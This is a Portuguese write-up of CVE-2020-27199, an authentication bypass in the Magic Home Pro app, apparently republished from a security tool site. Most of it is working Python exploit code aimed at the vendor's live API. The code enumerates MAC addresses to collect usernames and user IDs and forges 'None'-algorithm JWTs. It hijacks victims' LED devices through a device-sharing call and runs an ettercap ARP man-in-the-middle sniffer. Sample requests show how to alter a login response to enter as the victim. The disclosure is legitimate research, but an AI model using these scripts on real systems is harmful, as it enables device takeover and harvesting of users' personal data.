CVE-2020-27199 (Magic Home Pro - Bypass de Autenticação)

magic-home-pro

Múltiplas vulnerabilidades encontradas no Aplicativo Móvel Magic Home Pro, usado para interagir com o Kit RGB de Fita LED JadeHomic. A mais significativa dessas vulnerabilidades é um Bypass de Autenticação (CVE-2020-27199), que permite o controle total e a tomada de todo o grupo de dispositivos de uma vítima.

Abaixo estão detalhadas as etapas de enumeração que levaram à exploração final e ao material de Prova de Conceito (PoC) usado para realizar a enumeração e o exploit final.

Arquivos PoC

magichome-forge.py - Forjador JWT, usado para automatizar a tomada de dispositivos

magichome-sniffer.py - Sniffer de rede local que procura na rede por dispositivos suscetíveis. Constrói uma lista de dispositivos contra os quais os ataques podem ser executados

magichome-switch.py - Permite acender os dispositivos

magichome-takeover.py - Payload que permite a tomada bem-sucedida da conta de um usuário

Pré-trabalho para descoberta

Android rooteado
Bypass de detecção de root através de patch, reassinatura do JAR e reconstrução do APK (necessário)
Bypass de fixação de certificado Frida ao resgate (necessário)

Descrição

URL Base: wifij01us.magichue.net

Enumeração

Esta vulnerabilidade permite que qualquer usuário autenticado utilize seu nível de autorização atual para interrogar endpoints que não fazem parte de seus produtos registrados, usando uma chamada de API para /app/getBindedUserListByMacAddress/ZG001?macAddress=<endereço mac>. Isso resulta em uma resposta HTTP que indica a existência do endpoint e retorna o Nome de Usuário, Identificador Único do Usuário (userUniID) e o ID Único Vinculado (bindedUniID) do endpoint associado.

Usando a interrogação acima, um atacante pode então utilizar uma requisição POST não autorizada para a API /app/sendCommandBatch/ZG001, usando o endereço MAC recém-enumerado para enviar comandos ao endpoint remoto usando comandos hexadecimais compatíveis 71230fa3 e 71240fa4, resultando em LIGAR e DESLIGAR, respectivamente.

Forjamento de JWT com base nos detalhes obtidos acima

Após a enumeração inicial ser concluída, também é possível forjar um JWT usando o userID e o uniID nos dados do payload do JWT, efetivamente rebaixando o token para usar 'None' como algoritmo na seção de cabeçalho do JWT (vulnerabilidade de bypass de assinatura). Usando esta vulnerabilidade, o aplicativo fica suscetível à tomada de dispositivos por um atacante através da chamada de API remota para /app/shareDevice/ZG001 e utilizando o parâmetro JSON friendUserID para adicionar o dispositivo à lista de dispositivos do atacante, dando ao atacante controle total sobre o dispositivo endpoint.

Créditos:

Tipo de Vulnerabilidade

Bypass de Autenticação
Divulgação de Informações
Acesso Não Autorizado
Escalação de Privilégio Horizontal

Informações Adicionais

OUI

O OUI descreve o Identificador Único da Organização para Endereços MAC registrados em uma organização. No caso da JadeHomic, o OUI mágico é C8:2E:47, onde os primeiros três bytes correspondem ao fabricante e os segundos três bytes correspondem ao número de série atribuído pelo fabricante. No nosso caso, o identificador do fabricante está registrado para Suzhou SmartChip Semiconductor Co., LTD.

CVE Impacto Outro

Permite o bypass de autenticação do aplicativo móvel Magic Home Pro e, consequentemente, o controle total de todo o grupo de dispositivos de um usuário vítima.

Vetores de Ataque

Usuário autenticado necessário
Enumeração bem-sucedida do sistema final existente
Envio subsequente de comandos em lote para um endpoint remoto
Tomada do dispositivo
Bypass de Autenticação

Enumerador PoC e exploit de comando em lote

A prova de conceito enumera os últimos bytes dentro do intervalo de MAC e retorna descobertas. Permite um teste de 'execução remota' se você estiver se sentindo ousado.``` import requests import json import os from colorama import init from colorama import Fore, Back, Style import re

'''

First Stage Authentication
Second Stage Enumerate
Third Stage Remote Execute '''

global found_macaddresses found_macaddresses = [] global outtahere outtahere = "" q = "q" global token

def turnOn(target, token):

urlOn = "https://wifij01us.magichue.net/app/sendCommandBatch/ZG001"
array = {
    "dataCommandItems":[
        {"hexData":"71230fa3","macAddress":target}
    ]
}
data = json.dumps(array)
headersOn = {
    "User-Agent":"Magic Home/1.5.1(ANDROID,9,en-US)",
    "Accept-Language": "en-US",
    "Accept": "application/json", 
    "Content-Type": "application/json; charset=utf-8",
    "token":token,
    "Host": "wifij01us.magichue.net",
    "Connection": "close",
    "Accept-Encoding": "gzip, deflate"
}
print (Fore.WHITE + "[+] Sending Payload ...")
response = requests.post(urlOn, data=data, headers=headersOn)
if response.status_code == 200:
    if "true" in response.text:
        print (Fore.GREEN + "[*] Endpoint " + Style.RESET_ALL + f"{target}" + Fore.GREEN + " Switched On")
    else:
        print (Fore.RED + "[-] Failed to switch on Endpoint " + Style.RESET_ALL + f"{target}")

def turnOff(target, token):

urlOff = "https://wifij01us.magichue.net/app/sendCommandBatch/ZG001"
array = {
    "dataCommandItems":[
        {"hexData":"71240fa4","macAddress":target}
    ]
}
data = json.dumps(array)
headersOff = {
    "User-Agent":"Magic Home/1.5.1(ANDROID,9,en-US)",
    "Accept-Language": "en-US",
    "Accept": "application/json", 
    "Content-Type": "application/json; charset=utf-8",
    "token":token,
    "Host": "wifij01us.magichue.net",
    "Connection": "close",
    "Accept-Encoding": "gzip, deflate"
}
print (Fore.WHITE + "[+] Sending Payload ...")
response = requests.post(urlOff, data=data, headers=headersOff)
if response.status_code == 200:
    if "true" in response.text:
        print (Fore.GREEN + "[*] Endpoint " + Style.RESET_ALL + f"{target}" + Fore.GREEN + " Switched Off")
    else:
        print (Fore.RED + "[-] Failed to switch on Endpoint " + Style.RESET_ALL + f"{target}")

def lighItUp(target, token):

outtahere = ""
q = "q"
if len(str(target)) < 12:
    print (Fore.RED + "[!] Invalid target" + Style.RESET_ALL)
elif re.match('[0-9a-f]{2}[0-9a-f]{2}[0-9a-f]{2}[0-9a-f]{2}[0-9a-f]{2}[0-9a-f]{2}$', target.lower()):
    while outtahere.lower() != q.lower():
        if outtahere == "0":
            turnOn(target, token)
        elif outtahere == "1":
            turnOff(target, token)
        outtahere = input(Fore.BLUE + "ON/OFF/QUIT ? (0/1/Q): " + Style.RESET_ALL)

def Main(): urlAuth = "https://wifij01us.magichue.net/app/login/ZG001"

data = {
    "userID":"<Valid Registered Email/Username>",
    "password":"<Valid Registered Password>",
    "clientID":""
}

headersAuth = {
    "User-Agent":"Magic Home/1.5.1(ANDROID,9,en-US)",
    "Accept-Language": "en-US",
    "Accept": "application/json", 
    "Content-Type": "application/json; charset=utf-8",
    "Host": "wifij01us.magichue.net",
    "Connection": "close",
    "Accept-Encoding": "gzip, deflate"
}

# First Stage Authenticate

os.system('clear')
print (Fore.WHITE + "[+] Authenticating ...")
response = requests.post(urlAuth, json=data, headers=headersAuth)
resJsonAuth = response.json()
token = (resJsonAuth['token'])

# Second Stage Enumerate

print (Fore.WHITE + "[+] Enumerating ...")
macbase = "C82E475DCE"
macaddress = []
a = ["%02d" % x for x in range(100)]
for num in a:
    macaddress.append(macbase+num)

with open('loot.txt', 'w') as f:
    for mac in macaddress:
        urlEnum = "https://wifij01us.magichue.net/app/getBindedUserListByMacAddress/ZG001"
        params = {
            "macAddress":mac
        }

        headersEnum = {
            "User-Agent": "Magic Home/1.5.1(ANDROID,9,en-US)",
            "Accept-Language": "en-US",
            "Content-Type": "application/json; charset=utf-8",
            "Accept": "application/json",
            "token": token,
            "Host": "wifij01us.magichue.net",
            "Connection": "close",
            "Accept-Encoding": "gzip, deflate"
        }

        response = requests.get(urlEnum, params=params, headers=headersEnum)
        resJsonEnum = response.json()
        data = (resJsonEnum['data'])
        if not data:
            pass
        elif data:
            found_macaddresses.append(mac)
            print (Fore.GREEN + "[*] MAC Address Identified: " + Style.RESET_ALL + f"{mac}" + Fore.GREEN + f", User: " + Style.RESET_ALL + f"{(data[0]['userName'])}, " + Fore.GREEN + "Unique ID: " + Style.RESET_ALL + f"{data[0]['userUniID']}, " + Fore.GREEN + "Binded ID: " + Style.RESET_ALL + f"{data[0]['bindedUniID']}")
            f.write(Fore.GREEN + "[*] MAC Address Identified: " + Style.RESET_ALL + f"{mac}" + Fore.GREEN + f", User: " + Style.RESET_ALL + f"{(data[0]['userName'])}, " + Fore.GREEN + "Unique ID: " + Style.RESET_ALL + f"{data[0]['userUniID']}, " + Fore.GREEN + "Binded ID: " + Style.RESET_ALL + f"{data[0]['bindedUniID']}\n")
        else:
            print (Fore.RED + "[-] No results found!")
            print(Style.RESET_ALL)

    if not found_macaddresses:
        print (Fore.RED + "[-] No MAC addresses retrieved")
    elif found_macaddresses:
        attackboolean = input(Fore.BLUE + "Would you like to Light It Up ? (y/N): " + Style.RESET_ALL)
        if (attackboolean.upper() == 'Y'):
            target = input(Fore.RED + "Enter a target device mac address: " + Style.RESET_ALL)
            lighItUp(target, token)
        elif (attackboolean.upper() == 'N'):
            print (Fore.CYAN + "Sometimes, belief isn’t about what we can see. It’s about what we can’t."+ Style.RESET_ALL)
        else:
            print (Fore.CYAN + "The human eye is a wonderful device. With a little effort, it can fail to see even the most glaring injustice." + Style.RESET_ALL)

if name == "main": Main()

#### Enumeração

![](https://assets.kitploit.com/production/public/readmes/14851/313dec37a245a36b311ba83f9bf03637209ab4b4bf5b0b51c283e53618544cfc.jpg)

#### Forjamento de Token

##### Forjador de token PoC

- Utilizando o **userID** e **uniqID** obtidos após enumeração bem-sucedida. Este forjador de token PoC gera um novo JWT bypassado e assinado.```
#!/usr/local/bin/python3

import url64
import requests
import json
import sys
import os
from colorama import init
from colorama import Fore, Back, Style
import re
import time
from wsgiref.handlers import format_date_time
from datetime import datetime
from time import mktime

now = datetime.now()
stamp = mktime(now.timetuple())

'''
HTTP/1.1 200
Server: nginx/1.10.3
Content-Type: application/json;charset=UTF-8
Connection: close

"{\"code\":0,\"msg\":\"\",\"data\":{\"webApi\":\"wifij01us.magichue.net/app\",\"webPathOta\":\"http:\/\/wifij01us.magichue.net\/app\/ota\/download\",\"tcpServerController\":\"TCP,8816,ra8816us02.magichue.net\",\"tcpServerBulb\":\"TCP,8815,ra8815us02.magichue.net\",\"tcpServerControllerOld\":\"TCP,8806,mhc8806us.magichue.net\",\"tcpServerBulbOld\":\"TCP,8805,mhb8805us.magichue.net\",\"sslMqttServer\":\"ssl:\/\/192.168.0.112:1883\",\"serverName\":\"Global\",\"serverCode\":\"US\",\"userName\":\"\",\"userEmail\":\"\",\"userUniID\":\"\"},\"token\":\"\"}"
'''

def Usage():
    print (f"Usage: {sys.argv[0]} <username> <unique id>")

def Main(user, uniqid):
    os.system('clear')
    print ("[+] Encoding ...")
    print ("[+] Bypass header created!")
    print ("HTTP/1.1 200")
    print ("Server: nginx/1.10.3")
    print ("Date: "+str(format_date_time(stamp))+"")
    print ("Content-Type: application/json;charset=UTF-8")
    print ("Connection: close\r\n\r\n")

    jwt_header = '{"typ": "JsonWebToken","alg": "None"}'
    jwt_data = '{"userID": "'+user+'", "uniID": "'+uniqid+'","cdpid": "ZG001","clientID": "","serverCode": "US","expireDate": 1618264850608,"refreshDate": 1613080850608,"loginDate": 1602712850608}'
    jwt_headerEncoded = url64.encode(jwt_header.strip())
    jwt_dataEncoded = url64.encode(jwt_data.strip())
    jwtcombined = (jwt_headerEncoded.strip()+"."+jwt_dataEncoded.strip()+".")
    print ("{\"code\":0,\"msg\":\"\",\"data\":{\"webApi\":\"wifij01us.magichue.net/app\",\"webPathOta\":\"http://wifij01us.magichue.net/app/ota/download\",\"tcpServerController\":\"TCP,8816,ra8816us02.magichue.net\",\"tcpServerBulb\":\"TCP,8815,ra8815us02.magichue.net\",\"tcpServerControllerOld\":\"TCP,8806,mhc8806us.magichue.net\",\"tcpServerBulbOld\":\"TCP,8805,mhb8805us.magichue.net\",\"sslMqttServer\":\"ssl:\/\/192.168.0.112:1883\",\"serverName\":\"Global\",\"serverCode\":\"US\",\"userName\":\""+user+"\",\"userEmail\":\""+user+"\",\"userUniID\":\""+uniqid+"\"},\"token\":\""+jwtcombined+"\"}")

if __name__ == "__main__":
    if len(sys.argv) < 3:
        Usage()
    else:
        Main(sys.argv[1], sys.argv[2])

Tomada de Controle do Dispositivo

Exploit para assumir o controle do dispositivo que usa o e-mail do atacante (uma conta registrada que será usada para assumir a conta alvo), e-mail alvo (a conta a ser assumida), endereço MAC alvo (associado ao e-mail alvo) e token forjado.

PoC de exploit de tomada de dispositivo```

#!/usr/local/bin/python3

import url64 import requests import json import sys import os from colorama import init from colorama import Fore, Back, Style import re

def Usage(): print (f"Usage: {sys.argv[0]} ")

def Main():

attacker_email = sys.argv[1]
target_email = sys.argv[2]
target_mac = sys.argv[3]
forged_token = sys.argv[4]

os.system('clear')
print (Fore.WHITE + "[+] Sending Payload ...")
url = "https://wifij01us.magichue.net/app/shareDevice/ZG001"

array = {"friendUserID":attacker_email, "macAddress":target_mac}

data = json.dumps(array)

headers = {
    "User-Agent":"Magic Home/1.5.1(ANDROID,9,en-US)",
    "Accept-Language": "en-US",
    "Accept": "application/json", 
    "Content-Type": "application/json; charset=utf-8",
    "token":forged_token,
    "Host": "wifij01us.magichue.net",
    "Connection": "close",
    "Accept-Encoding": "gzip, deflate"
}

response = requests.post(url, data=data, headers=headers)
if response.status_code == 200:
    if "true" in response.text:
        print (Fore.GREEN + "[*] Target is now yours ... " + Style.RESET_ALL)
    else:
        print (Fore.RED + "[-] Failed to take over target !" + Style.RESET_ALL)

if name == "main": if len(sys.argv) < 5: Usage() else: Main()

##### Exemplo de troca bem-sucedida de solicitação/resposta POST```
POST Request

POST /app/shareDevice/ZG001 HTTP/1.1
User-Agent: Magic Home/1.5.1(ANDROID,9,en-US)
Accept-Language: en-US
Accept: application/json
token: <forged token, representing the target victim>
Content-Type: application/json; charset=utf-8
Content-Length: 72
Host: wifij01us.magichue.net
Connection: close
Accept-Encoding: gzip, deflate

{"friendUserID":"<attackercontrolled email>","macAddress":"<victim mac address>"}

Response

HTTP/1.1 200 
Server: nginx/1.10.3
Date: Tue, 07 Jul 2020 05:31:33 GMT
Content-Type: application/json;charset=UTF-8
Connection: close
Content-Length: 31

{"code":0,"msg":"","data":true}

Magic Home Device Sniffer

Requisitos:
- ettercap
- Credenciais de Usuário Válidas
A intenção é executar este script contra um segmento de rede no qual você está interessado em encontrar dispositivos suscetíveis.
Uma vez encontrados, execute um ataque usando o menu de ataque dentro do script.``` #!/usr/bin/env python3

import socket import struct import platform import os import sys import requests import json from colorama import init from colorama import Fore, Back, Style import re import time, subprocess

loot = [] global choice choice = '' global outtahere outtahere = "" q = "q" global macAddress

def scan(): with open('sniffedDevices.txt', 'a+') as f: os.system('clear') print (Fore.GREEN + "+=====================================+"+ Style.RESET_ALL ) print (Fore.GREEN + "| Author: Victor Hanna (@9lyph) |"+ Style.RESET_ALL ) print (Fore.GREEN + "| Description: Magic Home Pro Sniffer |"+ Style.RESET_ALL ) print (Fore.GREEN + "| (CTRL^C to Quit) |"+ Style.RESET_ALL ) print (Fore.GREEN + "+=====================================+"+ Style.RESET_ALL ) print (Fore.WHITE + '[+] Configuring IP Forwarding'+ Style.RESET_ALL ) time.sleep(5) print (Fore.WHITE + '[+] Setting up MiTM'+ Style.RESET_ALL ) time.sleep(2) ipForward = subprocess.Popen('sudo echo 1 > /proc/sys/net/ipv4/ip_forward', shell=True) time.sleep(2) ettercap = subprocess.Popen('sudo ettercap -T -q -i eth0 -M arp /// > /dev/null &', shell=True) time.sleep(2) print (Fore.WHITE + '[+] Searching for Magic Home Device(s)'+ Style.RESET_ALL ) itsthere = [] while (True): conn = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.ntohs(0x0003)) try: raw_data, addr = conn.recvfrom(65535) dst_mac, src_mac, proto, data = ethernet_frame(raw_data) if 'FF:FF:FF:FF:FF:FF' in dst_mac: # Suppress Broadcast traffic pass elif 'c8:2e:47'.upper() in src_mac: if src_mac in loot: pass else: print (Fore.WHITE + '[+] Device ' + src_mac + ' added to loot !'+ Style.RESET_ALL) loot.append(src_mac) f.write(src_mac + "\n") elif 'c8:2e:47'.upper() in dst_mac: if dst_mac in loot: pass else: print (Fore.WHITE + '[+] Device ' + dst_mac + ' added to loot !'+ Style.RESET_ALL) loot.append(dst_mac) f.write(dst_mac + "\n") else: pass except KeyboardInterrupt: print (Fore.WHITE + "[+] Stopping MiTM"+ Style.RESET_ALL) time.sleep(2) subprocess.Popen.kill(ettercap) print (Fore.WHITE + '[+] Reconfiguring IP Forwarding'+ Style.RESET_ALL) time.sleep(2) os.system('sudo echo 0 > /proc/sys/net/ipv4/ip_forward') menu()

def turnOn(target, token): urlOn = "https://wifij01us.magichue.net/app/sendCommandBatch/ZG001" array = { "dataCommandItems":[ {"hexData":"71230fa3","macAddress":target} ] }

data = json.dumps(array)

headersOn = {
    "User-Agent":"Magic Home/1.5.1(ANDROID,9,en-US)",
    "Accept-Language": "en-US",
    "Accept": "application/json", 
    "Content-Type": "application/json; charset=utf-8",
    "token":token,
    "Host": "wifij01us.magichue.net",
    "Connection": "close",
    "Accept-Encoding": "gzip, deflate"
}

print (Fore.WHITE + "[+] Sending Payload ...")
response = requests.post(urlOn, data=data, headers=headersOn)
if response.status_code == 200:
    if "true" in response.text:
        print (Fore.GREEN + "[*] Endpoint " + Fore.WHITE + f"{target}" + Fore.GREEN + " Switched On" + Style.RESET_ALL)
    else:
        print (Fore.RED + "[-] Failed to switch on Endpoint " + Style.RESET_ALL + f"{target}")

def turnOff(target, token): urlOff = "https://wifij01us.magichue.net/app/sendCommandBatch/ZG001"

array = {
    "dataCommandItems":[
        {"hexData":"71240fa4","macAddress":target}
    ]
}

data = json.dumps(array)
headersOff = {
    "User-Agent":"Magic Home/1.5.1(ANDROID,9,en-US)",
    "Accept-Language": "en-US",
    "Accept": "application/json", 
    "Content-Type": "application/json; charset=utf-8",
    "token":token,
    "Host": "wifij01us.magichue.net",
    "Connection": "close",
    "Accept-Encoding": "gzip, deflate"
}

print (Fore.WHITE + "[+] Sending Payload ...")
response = requests.post(urlOff, data=data, headers=headersOff)
if response.status_code == 200:
    if "true" in response.text:
        print (Fore.GREEN + "[*] Endpoint " + Fore.WHITE + f"{target}" + Fore.GREEN + " Switched Off" + Style.RESET_ALL)
    else:
        print (Fore.RED + "[-] Failed to switch on Endpoint " + Style.RESET_ALL + f"{target}")

def lighItUp(target, token): outtahere = "" q = "q" if len(str(target)) < 12: print (Fore.RED + "[!] Invalid target" + Style.RESET_ALL) elif re.match('[0-9a-f]{2}[0-9a-f]{2}[0-9a-f]{2}[0-9a-f]{2}[0-9a-f]{2}[0-9a-f]{2}$', target.lower()): print (outtahere.lower()) while outtahere.lower() != q.lower(): if outtahere == "0": turnOn(target, token) elif outtahere == "1": turnOff(target, token) outtahere = input(Fore.GREEN + "ON/OFF/QUIT ? (0/1/Q): " + Style.RESET_ALL) menu()

def attack(): with open('sniffedDevices.txt', 'rb') as f: os.system('clear') print (Fore.GREEN + "+=====================================+"+ Style.RESET_ALL) print (Fore.GREEN + "| Author: Victor Hanna (@9lyph) |"+ Style.RESET_ALL) print (Fore.GREEN + "| Description: Magic Home Pro Sniffer |"+ Style.RESET_ALL) print (Fore.GREEN + "| Attack Device : '1' |"+ Style.RESET_ALL) print (Fore.GREEN + "| Exit to Main Menu: '2' |"+ Style.RESET_ALL) print (Fore.GREEN + "| (CTRL^C to Quit) |"+ Style.RESET_ALL) print (Fore.GREEN + "+=====================================+"+ Style.RESET_ALL) print (Fore.WHITE + "[+] These are you available local targets:"+ Style.RESET_ALL) alreadyDone = [] for target in f.readlines(): macAddresses = ((target).replace(b":", b"")) if macAddresses in alreadyDone: continue else: alreadyDone.append(macAddresses) print (target.replace(b":", b"").decode('utf-8').strip())

    choice = int(input ("Choice: "))
    if (choice == 1):
        macAddress = input("[+] Enter Device MAC (xxxxxxxxxxxx): ")
        urlAuth = "https://wifij01us.magichue.net/app/login/ZG001"

        data = {
            "userID":"<!--Valid Username-->",
            "password":"<!--Valid Password-->",
            "clientID":""
        }

        headersAuth = {
            "User-Agent":"Magic Home/1.5.1(ANDROID,9,en-US)",
            "Accept-Language": "en-US",
            "Accept": "application/json", 
            "Content-Type": "application/json; charset=utf-8",
            "Host": "wifij01us.magichue.net",
            "Connection": "close",
            "Accept-Encoding": "gzip, deflate"
        }
        print (Fore.WHITE + "[+] Authenticating ...")
        response = requests.post(urlAuth, json=data, headers=headersAuth)
        resJsonAuth = response.json()
        token = (resJsonAuth['token'])
        lighItUp(macAddress, token)
    elif (choice == 2):
        menu()
    else:
        attack()

def ethernet_frame(data): dst_mac, src_mac, proto = struct.unpack('!6s6sH', data[:14]) return get_mac_addr(dst_mac), get_mac_addr(src_mac), socket.htons(proto), data[14:]

def get_mac_addr(bytes_addr): bytes_str = map('{:02x}'.format, bytes_addr) return ':'.join(bytes_str).upper()

def menu(): os.system('clear') while (True):

    print (Fore.GREEN + "+=====================================+"+ Style.RESET_ALL)
    print (Fore.GREEN + "| Author: Victor Hanna (@9lyph)       |"+ Style.RESET_ALL)
    print (Fore.GREEN + "| Description: Magic Home Pro Sniffer |"+ Style.RESET_ALL)
    print (Fore.GREEN + "| Scan   : '1'                        |"+ Style.RESET_ALL)
    print (Fore.GREEN + "| Attack : '2'                        |"+ Style.RESET_ALL)
    print (Fore.GREEN + "| (CTRL^C to Quit)                    |"+ Style.RESET_ALL)
    print (Fore.GREEN + "+=====================================+"+ Style.RESET_ALL)
    try:
        choice = (input ("Choice: "))
        if (int(choice) == 1):
            scan()
        elif (int(choice) == 2):
            attack()
    except KeyboardInterrupt:
        os.system ('sudo echo 0 > /proc/sys/net/ipv4/ip_forward')
        print("\nBye bye !\n")
        sys.exit()

if name == 'main': menu()

### Contorno de Autenticação (Magic Home Pro) (CVE-2020-27199)

- Utilizando a falsificação do token JSON juntamente com as informações obtidas, ou seja, o e-mail da vítima, ClientID e UniqID com base na enumeração acima, é possível contornar o processo de autenticação do aplicativo móvel manipulando a resposta HTTP e, assim, obter acesso ao aplicativo como a vítima.

- O atacante usa o aplicativo Magic Home Pro utilizando um endereço de e-mail da vítima, uma senha arbitrária e o clientID

- O atacante pode então manipular a resposta HTTP usando os detalhes do passo 1, o que permite que o contorno ocorra```
Original HTTP Login Request via Magic Home Pro Mobile app
 
POST /app/login/ZG001 HTTP/1.1
User-Agent: Magic Home/1.5.1(ANDROID,9,en-US)
Accept-Language: en-US
Accept: application/json
token:
Content-Type: application/json; charset=utf-8
Content-Length: 117
Host: wifij01us.magichue.net
Connection: close
Accept-Encoding: gzip, deflate
 
{"userID":"<victim userID>","password":"<arbitrary password>","clientID":"<arbitrary ClientID>"}

Original HTTP Response
 
HTTP/1.1 200
Server: nginx/1.10.3
Date: Thu, 08 Oct 2020 00:08:45 GMT
Content-Type: application/json;charset=UTF-8
Connection: close
Content-Length: 37
 
{"code":10033,"msg":"Password error"}

Edited HTTP Response
 
HTTP/1.1 200
Server: nginx/1.10.3
Date: Mon, 06 Jul 2020 12:32:02 GMT
Content-Type: application/json;charset=UTF-8
Connection: close
Content-Length: 907
 
{"code":0,"msg":"","data":{"webApi":"wifij01us.magichue.net/app","webPathOta":"http://wifij01us.magichue.net/app/ota/download","tcpServerController":"TCP,8816,ra8816us02.magichue.net","tcpServerBulb":"TCP,8815,ra8815us02.magichue.net","tcpServerControllerOld":"TCP,8806,mhc8806us.magichue.net","tcpServerBulbOld":"TCP,8805,mhb8805us.magichue.net","sslMqttServer":"ssl://192.168.0.112:1883","serverName":"Global","serverCode":"US","userName":"<victim userID>","userEmail":"<victim email>","userUniID":"<uniID gleaned from enumeration>"},"token":"<forged JWT based on gleaned data from API call>"}

PoC do Exploit em Vídeo

Magic Home PRO - Exploit

Descobridor/Crédito:

Victor Hanna da Exploit Security

Siga-me em

Mastodon Linkedin Youtube

CVE-2020-27199

Mais Populares